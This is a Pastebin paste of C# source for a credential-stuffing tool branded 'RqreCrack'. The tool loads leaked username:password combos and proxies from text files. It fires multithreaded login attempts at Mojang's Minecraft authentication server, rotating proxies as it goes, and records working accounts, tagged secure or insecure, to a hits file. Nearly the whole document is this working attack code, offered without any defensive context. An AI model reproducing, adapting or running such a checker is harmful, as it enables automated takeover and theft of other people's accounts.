Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System;
- using System.Collections.Generic;
- using System.Linq;
- using System.Text;
- using System.Threading.Tasks;
- using System.IO;
- using System.Threading;
- using xNet;
- using System.Globalization;
- using Newtonsoft.Json;
- using System.ComponentModel;
- namespace SKERE_CHECKER
- {
- class Program
- {
- static void Main(string[] args)
- {
- Console.BackgroundColor = ConsoleColor.Gray;
- Console.Clear();
- List<string> accounts = File.ReadAllLines("accounts.txt").ToList();
- List<string> proxies = File.ReadAllLines("proxies.txt").ToList();
- Console.ForegroundColor = ConsoleColor.White;
- Console.Write("Threads : ");
- int threads = int.Parse(Console.ReadLine());
- Console.Write("proxies Type : ");
- string proxiesType = Console.ReadLine().ToUpper();
- int checkeds = 0;
- int Live = 0;
- Task.Factory.StartNew(() =>
- {
- while (true)
- {
- Console.WindowWidth = 110;
- Console.Title = " RqreCrack | " + checkeds + " Checked on | " + accounts.Count + " accounts | " + Live + " Hits | " + "CODED BY JUANCHOCONFIGS V1.1.O";
- Thread.Sleep(1000);
- }
- });
- Parallel.ForEach(accounts, new ParallelOptions { MaxDegreeOfParallelism = threads }, account =>
- {
- if(account.Split(':').Length == 2)
- {
- string username = account.Split(':')[0];
- string password = account.Split(':')[1];
- request: try
- {
- using (HttpRequest request = new HttpRequest())
- {
- request.Proxy = proxies[new Random().Next(proxies.Count)];
- request.Type = proxiesType;
- request.ConnectTimeout = 5000;
- request.KeepAliveTimeout = 5000;
- request.ReadWriteTimeout = 5000;
- request.AddHeader("Content - Type", "application/json");
- string response = request.Start(HttpMethod.POST,
- new Uri("https://authserver.mojang.com/authenticate"),
- new xNet.BytesContent(Encoding.UTF8.GetBytes("{\"agent\":{\"name\":\"Minecraft\",\"version\":1},\"username\":\"" + username + "\",\"password\":\"" + password + "\",\"requestUser\":true}"))).ToString();
- if (response.Contains("errorMessage"))
- {
- Console.ForegroundColor = ConsoleColor.Red;
- Console.WriteLine("[DEAD] - " + account);
- }
- else if (response.Contains("selectedProfile"))
- {
- dynamic json = JsonConvert.DeserializeObject(response);
- bool secured = (bool)json.user.secured;
- Console.ForegroundColor = ConsoleColor.Green;
- Console.WriteLine("[LIVE] - " + account + " - " + (secured ? "Secure" : "Insecure"));
- Write: try
- {
- using (StreamWriter streamWriter = new StreamWriter("hits.txt", true))
- {
- streamWriter.WriteLine(account + " - " + (secured ? "Secure" : "Insecure"));
- }
- }
- catch
- {
- Thread.Sleep(new Random().Next(25, 75));
- goto Write;
- }
- Interlocked.Increment(ref Live);
- }
- Interlocked.Increment(ref checkeds);
- }
- }
- catch
- {
- goto request;
- }
- }
- });
- Console.ForegroundColor = ConsoleColor.White;
- Console.WriteLine("Done");
- Thread.Sleep(-1);
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement